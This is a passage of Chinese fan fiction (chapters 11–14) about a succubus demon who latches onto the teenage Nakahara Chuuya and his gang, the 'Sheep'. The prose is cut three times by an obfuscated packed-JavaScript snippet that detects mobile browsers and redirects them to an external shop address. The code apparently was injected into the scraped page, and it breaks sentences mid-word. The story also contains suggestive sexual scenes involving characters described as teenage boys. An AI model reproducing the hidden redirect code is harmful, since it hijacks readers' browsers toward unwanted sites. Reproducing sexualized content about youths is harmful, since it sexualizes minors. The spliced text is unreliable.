所以在生与死之间,在须臾与永恒的间隙,在黑暗与欲望之中,太宰治尝试着去触碰。 然而,到最后却又只觉得虚伪空无。 ——所以,人活着是存在某种价值的吗? 望月看着眼前神情不明的黑发少年,稍微有些惊讶。 如同死亡一样沉寂的目光,仿佛四维世界的人俯瞰着三维世界。 他忍不住发出了一声好奇的感慨。 “呐,你真的是人类而不是恶魔吗?” 太宰治闻言,虽然勾起了唇角,但这抹笑意却不达眼底。 “是货真价实的人类哦。” 11. 第十章 “这家伙……” 中原中也皱眉。 虽然上次合作的时候,就知道这家伙脑子有点不正常。 不过很快,太宰脸上那副阴郁的表情下一秒便收了起来,变回那副淡淡的,漠不关心的神色。 太宰治耸了耸肩,将话题抛回给了中原中也。 “所以呢,中也的「欲望」是什么呢?总不会真的是童贞毕业吧?” “……没完了是吧?” 中原中也嘴角抽了抽,没好气地说道,“这种东西我怎么知道。” “看嘛,这个世界上还有像小蛞蝓一样不清楚自己想要什么的,浑浑噩噩的家伙啊。” “哈?对别人的事情指手画脚,你怎么不说说自己的欲望是什么?” “我为什么要告诉小蛞蝓?” “反正就是去找死吧,你这自杀狂魔。” 面前的两个少年眼见又要吵起来,银发恶魔的尾巴甩了甩,说道。 “「求死」或者「求生」,也都是「欲望」的一种哦——只要是活着的人类,就都会有欲望。” “况且,对于恶魔们来说,「欲望」又没有好坏之分。只有旺盛与贫瘠的差别。” “所以说……” “如果不完成任务的话,吾辈就得一直呆在人类世界,没有办法回去。吾辈是多么可怜啊。”还得禁欲挨饿。 银发恶魔可怜巴巴地仰头看着面前的两个人类,试图用这种方式博得他们的同情心。 可惜重复用过的招数,对这两个见识了这只恶魔真面貌的人已经起不了什么作用了。 “啊,是吗。” “哦。” ……这两个人类真是冷血! 望月在心中愤愤地磨着后槽牙腹诽道。 小巷外传来若隐若现的警笛声,光听见这声音,似乎就已经能在脑海中想象出红蓝警灯交织的颜色。 中原中也皱起眉,和警察扯上关系可是相当麻烦。 而太宰治相当不以为然。 “又是枪声又是咚咚声,就算那群警察再怎么不想插手黑手党的事,磨磨蹭蹭地差不多要到场了。”至于地上那具尸体就留给他们好了。 “说不定之后我们还会再见面哦。”太宰的声音顿了顿,随后发出一声微不可闻的轻笑。 “……嘁,别了。”中原中也不爽地骂道,“你这张欠揍的脸我可不想再看到。” 而太宰治似乎并没有听见他的话,穿着黑色大衣的少年在小巷的尽头一转,如同夜间的黑猫般顿时了无踪影。 那家伙溜得可真快。 中原中也啧舌。 他转过身,准备从警车来的反方向离开时,脚下顿了顿。 “……走了,望月。” 望月惊讶地抬起头,身后的尾巴也跟着一起翘了起来,泪眼汪汪地喊道。 “中也——” “没想到你这人类……咳,吾辈是说,没想到中也主人居然这么的宽宏仁慈啊!” “…别喊那么奇怪的称呼。” 中原中也表情复杂,语气听上去还是一如既往地不耐烦。 “不过,如果你要是威胁到了「羊」的安全,又或者对「羊」的人出手,我绝对会把你碾成肉泥的,明白了吗?” 中原中也的声音骤然压低,钴蓝色的眸子也阴沉下来,暗含的警告再明显不过。 望月一秒收起了眼泪,颇有眼力见地表示自己明白。 他对「羊」才没有兴趣。 中也比意想中的要好说话。他决定好好抱紧这条大腿。 望月的心情立即明媚起来,漂浮起来围绕在中原中也的身周,甚至伸了个懒腰,翅膀高兴地抖了抖。 “果然还是把翅膀和尾巴露出来舒服啊~” “喂,别被人看到了。” “放心啦,这条路没什么人的。所以吾辈刚刚才来这地方准备偷吃……咳咳,吾辈是说,不小心被诱拐过来,绝对不是故意的哦!” 见自己差点说漏了嘴,望月咳嗽了两声,立即转移话题道。 “中也,那个黑发人类……那个叫做太宰的人类,是你的熟人吗?” “……太宰?那家伙算什么熟人。” 想起之前的事,中原中也的脸色一黑。他抿了抿唇,咬着牙说道,“只是因为一些事合作过。” “唔唔,这样吗……” 望月忍不住看向刚刚太宰治离开的那个巷口,眨巴眨巴眼。 那个人类的心思真复杂,想的东西好多。 以为稍微哄一哄就能同意,结果比中也要难搞多了。 作为魅魔,他就是喜欢涩涩而已。 哪个魅魔又会去思考自己为什么要涩涩,涩涩的意义是什么。 自己的背后又没了声音,中原中也斜了一眼,发现飘到半空中的银发恶魔恋恋不舍地盯着那只绷带混蛋背影,脑袋上的青筋跳了跳。 “你这家伙对太宰那混蛋感兴趣?脑子出问题了?”中原中也难以置信。 “不不不,单纯只是看到他就忍不住肚子饿呢。”望月脑袋上挂着一滴冷汗,连忙解释道。 “‘肚子饿了’?” 中原中也似乎想到了什么,轻声“啊”了一下,然后抬手,烦躁地抓了抓自己的头发,嘟囔道。 “怪不得你这家伙吃不下人类的东西,原来因为不是人类……” “噢噢,中也你终于明白吾辈的痛苦了吗!人类的食物对吾辈来说比蜡烛都难咽下去。”望月委屈地说道。 “……” 想起下午自己的举动,中原中也稍微有些心虚。他轻咳了一声,不好意思地说道, “那个,白天的事抱歉了……所以,你一直喊着肚子饿,魅魔到底是要吃什么?” “什么,「魅魔」的食物是什么中也居然都不知道吗?” 银发恶魔的脸上出现了一丝难以置信,但又很快摇起了尾巴,紫瞳里冒出了粉色的爱心。 “「魅魔」的食物当然是人类雄性的精O啊!” “什、” 赭发少年一愣,紧接着脸颊猛地变红。 “这回吾辈可没有撒谎。嘛,虽然退而求其次一下,除了血以外的体|液也不是不可以——所以说,中也,就让我吃……呜哇好痛!” “那你饿着吧。”中原中也咬牙切齿地收回了自己的拳头。 银发恶魔捂着着自己被锤了一个爆栗的脑袋,委屈巴巴地闭上了嘴。 …… 望月跟在中原中也的身后,垂头丧气地回到了「羊」的基地。 因为遇到这些乱七八糟的事,回来的时候时间已经不算早,没想到正好遇上了「羊」里几个还没睡觉的孩子。 原本几个还在说话的孩子,在看到中原中也回来后,顿时安静了下来,小心翼翼地看着回来的二人。 “啊,望月,中也,你们回来了。” “你们几个在啊……白濑他们呢?” 几个孩子彼此对视了一眼,在中原中也皱眉追问之前,其中一个孩子这才小声说道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156794|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“白濑哥他们还没回来。” “哈?这么晚,那几个家伙跑哪里去了。”不会又去桥对面的港口mafia那边了吧。 上次的事刚过去没多久,中原中也不由得在心中叹气。 然而此时,白濑和省吾几个孩子正好从门外进来。 在看到中原中也后,几个人的神情不约而同地僵硬了一下,不敢和对方对视。 倒是白濑第一个反应过来,像是在用声音的大小掩饰自己的心虚,嚷嚷道。 “中也你回来的正好,我正要找你呢!” “你知道吗,港口mafia最近动作很大,不知道为什么杀了很多他们自己内部的人,警察们都也睁一只眼闭一只眼的。” “哦,这样。”大概是现任首领借之前的事件清理组织内的异心者。 中原中也敷衍地应道。他对他手党内部的事可没什么兴趣。 然而中原中也的这个反应,在其他人看来,显然就是知道内情。 “所以说,这是个好机会。我让盯梢的人去看了,他们的武器库守卫少了不少,正好可以从他们那里补充我们的库存。” “不行。”中也想也没想地否绝掉,“武器可不是红酒,很危险。” “不是有中也在吗,有什么好害怕的。就算来再多黑手党,中也也可以解决掉的。”白濑不服气地说道。 “之前黑手党把我们的人抓起来这事,都还没报复回来呢。所以趁这个机会给他们点颜色瞧瞧,让那群大人们知道我们可不是好惹的……” “我说不行。” 原本正滔滔不绝说个不停的男生顿时安静下来,直勾勾地盯着面前的中原中也。 气氛变得微妙。 白濑此时脸上的表情看上去有些陌生。他抿了抿唇,低声问道。 “因为对方是港口mafia吗……” “哈?” “因为他们是港口mafia,所以中也不想出手对吧!” 白濑像是忍耐不住心中的不安和焦躁,朝着中原中也吼道。 “是中也越来越不对劲吧。之前你也承认了在帮港口mafia做事,不然他们为什么会释放被抓住的省吾他们?” “中也,你不会已经准备丢下「羊」,去投靠港口mafia……” “喂,白濑,你在说什么。” 中原中也的脸色一下子沉了下去。 失去控制的力量让脚下的水泥地骤然出现一道裂纹。 其他孩子被吓得一哆嗦。包括白濑,一时间声音也卡了壳。 白濑从牙缝里挤出自己的声音。 “既然不是的话,就帮我们反击回去啊!一直以来不都是这样的吗,中也,用你的异能力为我们……” “唔,真是奇怪。” 清亮的少年音响起,打断了白濑的话。 所有人的目光下意识集中到刚刚被众人忽视的望月身上。后者则无辜地眨了眨眼睛。 “中也明明你们之中,拥有力量,最强大的人类,为什么你们还能在这里趾高气昂地指使对方。” 望月双手背在身后,歪着脑袋疑惑地问道。 在大家的印象里,望月一向都是听话乖巧,讨人喜欢的。包括此时,银发少年脸上的表情也可以称得上是可爱。 只是那双紫色的眸子瞳孔宛如某种兽类,呈现着针状的竖瞳。 他是用一种纯粹的,困惑不解的语气发问道。 “弱小的家伙不应该跪在地上,来祈求强者的庇护吗?” 12. 第十二章 一向乖巧听话的望月,说出的话却异常残忍冷酷,场面瞬间变得凝固。 众人用一种错愕的,像是第一天认识对方的目光看向银发少年。 望月围着中原中也转了一圈,扭头看向面前那几个人类,疑惑地问道。 “由你们之中最强大的中也做出决定,有什么问题吗?弱者就应该闭上嘴臣服,至于不听话的家伙,直接杀掉就好了。” 毕竟恶魔们都是这么做,在崇拜力量的他们看来,弱肉强食是唯一的生存法则。 弱小的恶魔被强大的恶魔欺负奴役,如果遇上喜好混乱和暴力的恶魔,被杀死也都是常有的事。 当然也有那种觉得这些无聊的恶魔。倒不因为什么帮助弱小之类的理由,单纯就是看不上。 所以望月简直难以想象,拥有强大力量、身为组织首领的中原中也却被弱者支配。 ——这个赭发人类还真是可怜。 望月不禁摇了摇头。连恶魔都忍不住要感到同情了。 “啊,不过中也的确对弱小的家伙挺温柔照顾的。” 银发恶魔说着,甚至忍不住点了点头,一副感同身受的样子。 “嗯嗯,吾辈懂的。就是因为这一点也非常好利……呃,吾辈是说非常值得敬佩。” 这幅得意忘形的样子,系统都没眼看了。 【…你这家伙完全就是狐假虎威啊。】 ‘吾辈都抱上大腿了,嚣张一下怎么了!’理直气壮。 他看向了身旁的中也,好奇地问道。 “呐,中也,接下来要怎么办。直接抛掉他们加入那什么黑手党吗?去哪儿吾辈都无所谓,反正只要跟着中也就好了。” 白濑脸色顿时变得苍白无色。 他慌忙看向了一旁沉默不语的中原中也,结结巴巴地说道。 “中也!你别忘了,当初可是「羊」收留了你……” “这算什么,道德绑架吗?哈啊~所以说你们人类的道德伦理还真是难以理……” “够了,望月。” 望月喋喋不休地说着,肩膀突然被手摁住。 银发少年身体本能一僵。他还以为自己是说错了什么话,于是赶紧闭上嘴,扭过头做出无辜的表情,朝对方眨眨眼。 然而中原中也没说什么,只是站到了望月的身前,将对方挡在身后。 赭发少年抬起头,当对上面前同伴充满恐惧的目光,心脏像是被人猛地抓紧,有些喘不过气。 中原中也盯着面前的白濑看了会儿,在对方狼狈地挪开视线后,转而又看向一旁「羊」其他的同伴,轻声问道。 “所以,你们也是这么想的吗?觉得我会加入港口mafia?” “……”大家没有说话。 中原中也有些失望。 他抿了抿唇,低声道。 “……给我清醒一点,我怎么可能对自己的同伴出手,也不可能去投靠那群混蛋黑手党。” 听到这句话,大家的表情才终于放松下来。 对啊,毕竟这可是中也。 他们并没有发现自己对赭发少年感到恐惧和不安的同时,同样也无比信任依赖着对方,如此矛盾纠结的心理同时出现。 人在心虚的时候,会下意识回避别人看过来的视线。 “那个,中也……”白濑讪讪地开口。 赭发少年却直接开口打断了对方,脸上的神情淡淡的,钴蓝色的眸子似乎看不出多少情绪。 “我先出去冷静一下。” 抛下这句话后,赭发少年径直从几人中间穿过,头也不回地走了出去。 “喂、中……” 白濑下意识喊道。 而望月忽然凑到他面前,朝着对方挤了挤眼睛,阻止了他想要叫住中也的举动。 “你还对中也说什么,如果是想滑跪的话,这个时候应该来不及了吧?” “话说回来,为什么你们这么恐惧中也会加入,就算中也想要加入那个什么黑手党,你们也管不到、不,也管不了吧。” “还不是因为你刚刚说那些话…” “诶,因为吾辈吗?” 望月伸手指了指自己,笑嘻嘻地朝着他做了个鬼脸。 “别误会了哦,吾辈只听从强大的家伙的话。「羊」在吾辈看来完全比不上中也的价值。拜拜~” “可恶、可恶!” 白濑低声骂道,回过头时,同伴们脸上此时的表情和他也相差无异。 不安,恐惧,担忧。 以及像是下定了某种决心。 走出基地的门,四下无人,望月脸上原本的表情一下子垮了下来,摸了摸自己的鼻子,小声嘀咕道。 “吾辈就是随口说了几句,好像不小心让那群人类和中也之间的矛盾变得更大了。” 他想起中也在离开时,脸上虽然没什么表情,但蓝眸之中一闪而过的失望和难过,还是被他捕捉到。 望月忽然有些心虚。 “应该不关吾辈的事情吧……” 总之先去找中也好了。 …… 现在已是深夜。 从上方鸟瞰,擂钵街只有零星的几个房子尚且亮着灯,隐约产来几声犬吠;而桥的对面,与昏暗的擂钵街形成对比的,横滨市区却是一片灯火辉煌。 中原中也一个人坐在屋顶上,望着擂钵街远处的海面,表情显得有些闷闷不乐。 有什么烦心事的时候,自己总会一个人来这个地方看海。 从前是思考和迷茫于自己的身世,而现在已经从死去的兰堂口中得知自己是如何诞生的。 ——自己并非人类,而是荒神的容器。 他再一次感到了孤独。 不论是过去还是现在,即便是和「羊」的同伴在一起,这种孤独感从未消失过。 赭发少年叹了口气,随后朝后一躺,闭上了眼睛。 过了一会儿,身后响起窸窸窣窣的动静,微不足道的风似乎吹动了某片树叶,紧接着,他的脑袋上忽然落下一道像是蝙蝠翅膀形状的阴影。 罪恶的小手试探性地朝着面前的赭发人类伸出。 中原中也瞬间睁开眼睛,正好对上漂浮在半空中,翅膀和尾巴全露出来的银发魅魔。 后者僵硬地悬停了自己伸出的爪子,赶紧收回背在身后,心虚地吹着口哨。 中原中也坐起身,叹了口气,说道。 “喂,你是偷袭上瘾了吗?被我抓住多少次了。” “别说得那么难听嘛。吾辈这不是看中也闭上眼睛以为中也在这里睡着了,可是会着凉,所以准备叫醒你来着。” 望月语速飞快地扯着谎,脸部红心不跳的。 只是如果说这话前,能先擦擦嘴角的口水应该会更有说服力。 中原中也无语。 “你怎么找到这里的?” “因为中也一直散发着美味的气味,闻着味吾辈就找到了~” 中原中也觉得在对方的话里自己好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156795|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是什么美味小蛋糕,脑袋上不由得挂上了几道黑线。 见面前的赭发少年表情还是不怎么开心的样子,银发恶魔想到了什么,眼睛一转,兴致勃勃地问道。 “呐,中也,你喜欢什么类型的?” “你问这个干什么?” 中原中也脑袋上冒出了一个问号。 然而银发少年的的那双紫眸亮晶晶的,期待地盯着自己。 “不论中也喜欢什么类型的,成男还是少年,长发还是短发,肌肉型还是纤细型……全都没问题。” “啊,不过如果中也是furry控就麻烦了,那个有些难变呢。” 望月期待地盯着面前的中原中也,身后的恶魔尾翘得高高的,紫眸里的粉色爱心就差要具现化出来。 “所以说呢,吾辈陪你……”做点快乐的事情也不是不行。 后半句话还没说出口,瞬间被少年的尖叫声取代。 系统毫不客气地给这淫|荡的魅魔狠狠地来了一发电击。 原本飘在空中的望月直接被电得差点从房顶上摔下去,还是中原中也反应快,一把抓住对方的衣领给拽了上来。 银发恶魔翅膀疼得一抽一抽的,看起来相当可怜。 中原中也有些不忍,担心地问道。 “喂,你还好吗?” “还、还好……可恶的系统,吾辈差点就成了恶魔史上第一个被摔死的恶魔。”望月小声嘀咕道。 “上次也是这样,你到底做了什么让那系统这么惩罚你。”中也疑惑。 银发恶魔沉默,然后心虚地简单说了一下。 听完望月的解释后,中原中也原本的不忍顿时烟消云散,直接松开了手,让对方直接摔在了房顶上。 “是你这没节操的家伙活该啊。”赭发少年咬牙切齿。 被系统电也就算了,还被中原中也骂了。 银发恶魔揉着自己摔痛的翅膀,脸上的表情一下变得有些委屈,过了半晌,才小声嘀咕道。 “还不是看你这人类心情好像挺差的所以才准备安慰安慰你,居然还凶吾辈,真是好心没好报……” “哈?你不能换个别的方式吗?” 中原中也被对方说的有些语塞,心情复杂地扶着额头,感到头疼。而且鬼知道这家伙是真想安慰还是图谋不轨。 “你这家伙的脑袋里除了那些东西,还有别的吗?” 这回轮到望月的脑袋上冒出问号。 看到银发少年紫眸中露出的困惑,中原中也这才慢半拍地反应过来。 望月不是人类而是恶魔。 中原中也不知道该用什么来描述自己的心情。 赭发少年的目光忍不住转移到对方身后那对翅膀和尾巴上,有些心痒痒。 说实话,他也对这些东西感到好奇。 于是,中原中也轻咳了一声,眼神飘忽着,小声问道。 “咳…那个,可以摸摸看吗?” “……” “…真是的,明明就是想这么做,还要装作无所谓的样子,原来是闷骚。” 望月鼓起包子脸抱怨道。 他一边说着,一边伸手搭在了衬衫衣摆上,缓缓地撩起自己的衣服,露出光滑柔软的腹部。 “?!” 赭发少年猛地一把把对方的衣服拽了回去。 在望月一脸问号的目光下,中原中也的脸变得爆红,惊得舌头都要打结了。 “你、你脱衣服干吗!” 13.第十三章 “不是你说想要摸摸看的吗?没关系哦,不用害羞,反正吾辈的身体中也可以随便触碰,从上到——嗷!” 望月发出一声惨叫,泪眼汪汪地捂着脑袋上被中也拳头捶出来的包,整个人缩成一团。 银发恶魔幽怨地瞪着罪魁祸首。 “谁要摸你的身体啊!” 中原中也咬牙切齿地说着,带着某种恼羞。 在望月一副委屈的“那你还想摸哪里啊”的目光下,中原中也忽然有些不好意思地别过脸,抓了抓自己的头发,憋了一会儿才小声说道, “我、我的意思是说,想摸摸看你的翅膀和尾巴。稍微有点好奇……” “那你还不如摸吾辈的身体呢!”望月撅着嘴抗议道。 他可没有给人类摸翅膀和尾巴的兴趣。 就算是关系好的恶魔与恶魔之间,也不会轻易让别人触碰自己的尾巴和翅膀。 更何况之前那个叫太宰的黑发人类扯自己尾巴的举动,也给望月留下了相当糟糕的印象。 “不过就算再怎么不情愿,如果中也强制想要摸的话,吾辈也没有办法反抗吧。毕竟吾辈又打不过你……” 银发恶魔抱着自己,背对着中原中也蹲在一旁,鼓着包子脸碎碎念着。 脑内浮现出对方强行把自己摁在地上的画面。 ……哦等一下,这么一想似乎还挺刺激的。 甚至还有点期待。 望月垂在地上的尾巴不由自主地甩了甩,忍不住发出嘿嘿的痴汉笑。 【……】谁来管管这魅魔。 系统既是无语也是心累。 幸亏直播间是看不见某只魅魔脑内的画面,不然来一万个管理员,都赶不上直播间的封禁速度。 然而,出乎望月意料的,中原中也只是放下了手,抿着唇小声嘟囔了一句。 “不行的话那就算了。” “……诶?” “我说,你不同意的话就算了。”中原中也平静地说道。 望月扭过头,对着中原中也眨巴眨巴眼睛,反而不知道该作何反应。 他还以为这个赭发人类态度会更强硬一些。 望月狐疑地从地上坐起,再次漂浮在了半空中,从上而下小心翼翼地观察面前的赭发人类。 然而中原中也的确没有朝自己伸手的意图,只是抿着唇,坐在倾斜的屋顶上,别开了自己的脸。 “这个时候你不应该狠狠地把吾辈压在地上,然后强制性地摸来摸去,然后吾辈泪眼汪汪地喊着‘不要’……” “谁会干这种事情啊!”中原中也面红耳赤的,直接炸了毛,“你怎么还给自己安排上戏了!” 诶?真的就这么算了? 望月瞪圆眼睛,直勾勾地盯着面前赭发少年的脸。 莫非中也……不会就是前辈们口中所说的,拥有良心的一类存在吧。 ——这是什么珍贵物种! 望月大震惊。 “……喂,你这家伙在想什么啊?” 只是随便瞥了一眼,只见银发恶魔脸上变来变去的神情,一会儿困惑,一会儿震惊的。 中原中也被盯得一阵发毛,拳头捏得嘎嘣作响,快要到爆发的边界。 而沉浸于自我世界思考中的望月,完全没有听到,歪着脑袋双手抱胸,皱眉思考起来。 虽然有良心对于恶魔们来说是件可以利用的好事啦,但这赭发人类看上去挺失落的,从刚刚开始心情也不怎么好…… 银发魅魔眉毛几乎打结,在心中疯狂地做着心理斗争。 ——可恶,就当是为了讨好自己新抱到的大腿吧。 纠结了半晌,望月咬咬牙,像是终于下定了某种决心般往中原中也的大腿一扑,趴在对方的膝盖上,自暴自弃般地喊道。 “好啦好啦,随便你摸吧。” “喂、喂,笨蛋不要突然扑过来啊。” 中原中也被对方突然扑过来的动作吓了一跳,条件反射地想要将对方踹开,好在控制住了自己的动作。 银发恶魔的上半身压在自己的大腿上,后背对着自己。 他有些无语:“你刚刚拒绝了吗?” 那对奇特的恶魔翅膀抖了抖,完整地展露在这自己的面前,尖尖的耳朵似乎也因为紧张而垂了下去,嘴巴还是一点不得闲地嘀咕道。 “要不是看在你这家伙心情不好的份上……仅此一回的特别服务哦!” 中原中也的表情复杂,手僵硬地悬在半空中半晌。 他试探性地问道。 “……真的可以摸?” “摸吧!吾辈已经同意了!”银发魅魔咬着牙,一副英勇就义的模样,大声回答,“再怎么不舒服吾辈也会忍住的。” “……” “错过了就没有了!” 中原中也犹豫了一下,轻轻地把手放了上去,感受到银发少年的身体本能地抖了一下。 赭发少年掌心的温度很高,抚摸起来的动作意外地还挺温柔。 和揍自己的时候完全不是一个力度。 但望月实际上并不知道,中原中也揍自己的时候的力气可以算得上去相当收敛。 中原中也摸了摸对方的翅膀,蓝眸露出了一丝惊奇。 翅膀中间带着一层半透明的薄膜,隐约可以看见上头黑红色的血管,而抚摸上去的时候,意外的却是一种毛茸茸的丝绒触感。 他顺着翅膀的骨架轮廓一路摸到翅膀底端,发现外套这里有个开口,正好可以让翅膀从里头伸出来。 “…你把衣服剪开了?”中也好奇地问道。 “哼哼,是吾辈自己改造的,厉害吧~”望月原本得意地炫耀着,转而又变成抱怨,“不然吾辈的翅膀和尾巴憋在衣服里很难受的!” “果然还是吾辈原来的衣服好,兼顾视觉还是实用一体~” 在赭发少年的抚摸下,原本因为紧张而垂下的尾巴,此时也不由自主地翘了起来,尾巴尖无意识地甩动。 “感觉还不错,呼~啊,不要太用力。和那群野蛮的家伙不同,魅魔们的翅膀可是很娇贵的。” 摸着摸着,银发恶魔的身体也逐渐放松了下来,甚至可以说是享受。 他的眼睛都快眯成一条缝,喉咙里还哼哼唧唧着。 中原中也感觉自己像是在摸一只猫。 但摸起来的手感的确也像猫。 赭发少年的余光瞥见某只恶魔身后无意识晃动的尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168593|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴。 “尾巴可以摸吗?” “什么居然还想要摸吾辈的尾巴?真是贪婪无厌的人类啊。” 或许是因为被摸得太惬意了,某只恶魔甚至忘了自己之前是如何滑跪的,哼哼唧唧地说道。 “看在你这么想要的份上,让你摸摸吾辈的尾巴也不是不行……” ……这家伙又开始得意忘形了,真是稍微给点阳光就开始灿烂啊。 中原中也无语。 ……但又似乎升不起什么气来。 他不仅想起了傍晚上发生的事,银发少年脸上讥讽的轻笑。 那时他确实感到了愤怒。 因为欺骗也好,或者是觉得自己被对方背叛。 可现在好像完全消了火,更多的是一种无奈和复杂。 赭发少年的手还是轻轻地抓住对方的尾巴,用指腹捏了捏。 和翅膀的触感一样,魅魔的尾巴也是那种细腻的丝绒感,尾端则是桃心形。 “唔,继续摸好了,别停下啊。” 望月则浑然不觉中原中也的心情,趴在对方的膝盖上叽叽喳喳地指挥着。 那副摇头晃脑的样子更像某种宠物。 “你还指挥上了啊。”中原中也没好气地说着,然而却还是按照对方的话抚摸着尾巴。 尾巴尖的爱心比想象中的手感还要柔软,可以被随意揉捏。 “对对,就是那里……嗯……这个地方稍微用点力气也没关系……呼唔,嗯……哈……” 然而越到后面,银发少年的声音却逐渐小了下去,原本喋喋不休的指挥变成了某种喘息。 中原中也摸着摸着,愈发觉得不对劲,动作也逐渐慢了下来。 “喂,还好吗?你的声音怎么这么奇……” 赭发少年忍不住皱起眉,低声骂道。 望月似乎没有听见自己说话,没有回应。 然而身体却微微颤抖,垂着脑袋,任由微长的银发随着重力落下。正好挡住了主人脸上此时的表情。 “……望月?” 中原中也再迟钝也觉察到对方的不对劲了。 他停下手,狐疑地掰过趴在自己大腿上的银发少年的脸看去。 下一秒,中原中也的手就僵硬住了。 银发魅魔整个人被摸得爽到晕头转向,白皙的脸颊覆盖上一片潮红,眼角湿润,就连尖尖的耳朵也满是霞色; 望月无意识地半启着嘴巴,隐约可以看见殷红的舌尖。 尤其是那双浅紫色的眸子,里头几乎已经完全桃色的爱心占据,显然一副没有办法思考的样子。 “好、好像舒服过头了……先,先让吾辈,缓一缓……哈啊……” 望月的声音变得断断续续的,只剩下喘气的劲儿。 气氛一瞬间变得微妙起来。 感觉像是进入了某种无法描述的场合。 银发少年此时的表情,让中原中也的大脑空白了一下,手瞬间凝固僵硬在原地,化为一尊雕塑。 目睹了全过程的系统更是抓狂。 它感觉自己距离下岗被开除已经不远了。 【你这混蛋魅魔给我收敛一点!不要在直播间喘成(消音)的样子啊!】 14.第十四章 “你、你这家伙又怎么了啊?!” 中原中也终于回过神来,忍不住拔高了嗓门,他也不知道自己为什么也跟着脸红起来,耳朵烫得要命,甚至都可以用来烤年糕。 “中也……” 望月像是一摊软泥般趴着不动弹,跟只小猫似的叫唤着自己的名字。 中原中也甚至不知道该不该把对方推开。 对方变成现在这样,似乎也和自己有关,这样直接推开貌似不太好。 银发恶魔有意无意地开始往他身上蹭,紫水晶色的眸子带着若有若无的水汽。 然而中原中也完全没有接收那堆快要砸到自己脸上的粉色爱心,而是直接摁住了对方的脑袋,手掌感受着对方脸颊上的温度。 “…是身体不舒服?” 中原中也抿了抿唇,眉头越皱越紧,有些困惑,“看上去像是在发烧……” “……” 望月表情麻木,原本高高翘起的尾巴瞬间垂到了地上。 而系统冷笑一声,冰冷冷地吐槽道。 【比起发烧更像是在发骚。】 ‘……系统你说话是不是越来越粗俗了。’ 【……你怎么不想想是因为谁的缘故。】 ‘难道这也要怪吾辈吗!’望月不服气。 还没等他和系统吵起来,头顶上传来中也的声音。 “不对,你是恶魔来着,恶魔也会生病?” 中原中也总算想起对方可是只恶魔,而且还是饿着肚子的魅魔,眼神变得犀利。 赭发少年压低声音,语气危险。 “你这家伙,难不成是故意的?” “这回还真不是……” 这的确也超出望月的想象。 毕竟也没恶魔告诉他,被摸翅膀和尾巴原来是这么舒服的一件事。 整个魔的脑子都快融化成一团浆糊了。 然而中原中也沉默了一会儿,蓝眸盯着趴在自己腿上的望月,面无表情地说道。 “……‘这回还真不是’,所以,之前那些都是故意的吗。” “呃。”望月原本瞬间尬住,眼神顿时变得清澈了,飘忽着不敢和中也对视。 “果然是这样。”中原中也单手扶住额头。 “也不能全怪吾辈吗!我们魅魔就是这样!”望月理直气壮。 冷静了片刻,等脸颊的热度下去了,中原中也深呼吸一口气,努力用平静的声线说道。 “喂,差不多该从我身上下去了吧。” “……” 望月极其不情愿地从中原中也的腿上滑了下来,像是只没骨头的猫似的瘫在一旁,还是一副脸颊潮红的表情。 真是的,这个家伙…… 下次还是别摸他尾巴了。 中原中也在心里忍不住低骂了几句,心中却没有多少真的生气。 在摸完望月的翅膀尾巴后,他感觉自己的心情似乎真的好了一些,之前胸口那股闷闷不乐的情绪,此时也几乎消失不见。 是因为有人陪在自己身边? 不过对方并不是人;而且,某种意义上,他们也能算得上是非人的同类。 这种感觉有些陌生,又有些奇怪。 中原中也抿了抿唇,忽然低声念了一句什么。 “反正……你要是留下的话,我……” 被摸爽了的望月正恋恋不舍地回味着刚刚的感觉,意犹未尽地晃了晃身后的尾巴,忽然听到赭发少年细若蚊声的低语。 只是那声音太弱,一开始就没集中注意力的望月也就没有听清,侧过脸看去,眼神疑惑。 “中也你说什么?” “……不,没什么。” 中原中也停顿了一下,果断地说道。 望月有些困惑,但也没往心里去。反正人类的想法很复杂,别扭又麻烦。 他忽然想到什么,好奇地问道。 “说起来,中也是怎么加入「羊」的?” 望月回忆了一下在魔界时恶魔们的做法后,顿时恍然大悟,兴致勃勃地说道, “哦哦,吾辈明白了。中也是把他们都揍了一轮,你就成了他们的老大了?还是他们主动来请求你成为他们的老大?” “那都是些什么啊……与其说是加入,应该是「羊」收留、接纳了我。” 赭发少年原本不耐烦的声音顿了顿,忽然平静了下来,淡淡地说道, “也只是恰巧我拥有这样的力量,所以我也有保护「羊」的责任和义务。” “诶~真是无趣的经历……但是事实上,中也总是皱着眉头,每天心事重重的样子。” 望月有些失望,漫不经心地说道, “中也呆在这里也不开心,那还不如离开「羊」。” 他甚至觉得,中也和那个黑发人类吵架的时候,脸上的表情更丰富些,心情也似乎更轻松些。 中原中也沉默了一会儿,声音听上去闷闷的。 “这里是我的容身之所。” “……完全不理解你们人类的思维啦。” 